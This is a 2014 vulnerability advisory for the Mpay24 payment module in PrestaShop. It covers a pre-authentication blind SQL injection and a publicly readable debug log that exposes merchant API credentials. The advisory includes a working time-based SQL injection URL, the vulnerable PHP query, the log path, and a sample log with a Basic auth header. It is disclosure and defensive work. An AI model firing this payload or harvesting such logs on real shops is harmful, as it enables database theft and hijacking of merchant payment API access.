Mpay24 Payment Module 1.5 Information Disclosure / SQL Injection

` Mpay24 PrestaShop Payment Module Multiple Vulnerabilities  
  
- · Affected Vendor: Mpay24  
- · Affected Software: Mpay24 Payment Module  
- · Affected Version: 1.5 and earlier  
- · Issue Type: SQL injection and information disclosure  
- · Notification Date: 10 February 2014  
- · Release Date: 03 September 2014  
- · Discovered by: Eldar Marcussen  
- · Issue status: Patch available  
  
Summary  
  
BAE Systems Applied Intelligence researcher, Eldar Marcussen has identified  
two high impact vulnerabilities in the Mpay24 payment module for the  
Prestashop e-commerce solution.  
  
“Mpay24 is the online-payment platform for e- and m-commerce combines  
frequently used and innovative payment systems in one single interface”. [  
www.mpay24.com]  
  
“Prestashop is the free ecommerce solution to start your online business  
and start selling online. Build an online store for free with Prestashop.” [  
www.prestashop.com]  
Pre-Authentication Blind SQL Injection Requires  
  
Mpay24 payment module present on the website.  
CVE identifier  
  
CVE-2014-2008  
Description  
  
The Mpay24 plugin version 1.5 and earlier does not sufficiently filter or  
escape user supplied data used in database queries resulting in SQL  
injection vulnerabilities.  
  
The following blind SQL injection vulnerability is caused by user supplied  
data being used directly in a database query, as evidenced by the offending  
code:  
  
confirm.php:12: Db::getInstance()->Execute("  
  
confirm.php:13: UPDATE `"._DB_PREFIX_."mpay24_order` SET  
  
confirm.php:14: `MPAYTID` = ".$_REQUEST['MPAYTID'].",  
  
confirm.php:15: `STATUS` = '".$_REQUEST['STATUS']."'  
  
confirm.php:16: WHERE `TID` = '".$_REQUEST['TID']."'  
  
confirm.php:17: ");  
Impact  
  
Using this vulnerability, BAE Systems was able to extract information  
directly from the database, bypassing any restrictions that may be enforced  
by the application.  
  
  
Proof of Concept  
  
The following URL introduces an artificial delay in the page response time  
which can be used by an attacker to extract data from the database:  
  
  
http://target/path/modules/mpay24/confirm.php?MPAYTID=1&STATUS=bbb&TID=a%27%20or%20%27a%27%20in%20%28select%20IF%28SUBSTR%28@@version,1,1%29=5,BENCHMARK%281000000,SHA1%280xDEADBEEF%29%29,%20false%29%29;%20--+  
Recommendation  
  
Use prepared statements to ensure the structure of the database query  
remains intact.  
Pre-Authentication Information Disclosure Requires  
  
Mpay24 configured with debug enabled (default value until version 1.6).  
CVE identifier  
  
CVE-2014-2009  
Description  
  
The Mpay24 plugin logs raw curl requests and other debugging information to  
the payment gateway by default. This log file is publicly accessible and  
contains information valuable to an attacker, including the base64 encoded  
credentials used by the merchant to access the Mpay24 API.  
Impact  
  
Using this vulnerability, BAE Systems was able to obtain Mpay24 API  
credentials and the local path of the Prestashop installation. The attacker  
can use the API credentials to hijack the merchants API access and leverage  
the local path disclosure with other exploits.  
Proof of Concept  
  
URL: http://target/path/modulesmapy24/api/curllog.log  
  
* About to connect() to test.mpay24.com port 443 (#0)  
  
* Trying 213.164.23.169...  
  
* connected  
  
* Connected to test.mpay24.com (213.164.23.169) port 443 (#0)  
  
* successfully set certificate verify locations:  
  
* CAfile: /var/www/prestashop/modules/mpay24/api/cacert.pem  
  
CApath: /etc/ssl/certs  
  
* SSL connection using DHE-RSA-AES256-GCM-SHA384  
  
* Server certificate:  
  
* subject: OU=Domain Control Validated; OU=Provided by EUNETIC GmbH;  
OU=EuropeanSSL Single; CN=test.mpay24.com  
  
* start date: 2013-05-13 00:00:00 GMT  
  
* expire date: 2015-05-13 23:59:59 GMT  
  
* subjectAltName: test.mpay24.com matched  
  
* issuer: C=DE; O=EUNETIC GmbH; CN=EuropeanSSL Server CA  
  
* SSL certificate verify ok.  
  
* Server auth using Basic with user 'u91234'  
  
> POST /app/bin/etpproxy_v15 HTTP/1.1  
  
Authorization: Basic dTkxMjM0OlNPQVAxMjM=  
  
User-Agent: mPAY24 PHP API $Rev: 5522 $ ($Date:: 2013-06-24 #$)  
  
Host: test.mpay24.com  
  
Accept: */*  
  
Content-Length: 423  
  
Content-Type: application/x-www-form-urlencoded  
  
  
  
* upload completely sent off: 423 out of 423 bytes  
  
* additional stuff not fine transfer.c:1037: 0 0  
  
* HTTP 1.1 or later with persistent connection, pipelining supported  
  
< HTTP/1.1 401 Authorization Required  
  
< Date: Sun, 09 Feb 2014 21:04:21 GMT  
  
< Server: Apache  
  
* Authentication problem. Ignoring this.  
  
< WWW-Authenticate: Basic realm="mPAY24 WebService"  
  
< Content-Length: 401  
  
< Content-Type: text/html; charset=iso-8859-1  
  
<  
  
* Connection #0 to host test.mpay24.com left intact  
  
* Closing connection #0  
Recommendation  
  
Restrict access to webpages containing sensitive functionality or data to  
authenticated users.  
End User Recommendation  
  
Update your Mpay24 plugin to version 1.6 or later.  
Response Timeline  
  
- 10/02/2014 – Vendor notified  
- 13/02/2014 – Patch available through GitHub  
- 19/02/2014 – CVE identifiers assigned  
  
03/09/2014 – Advisory released  
  
  
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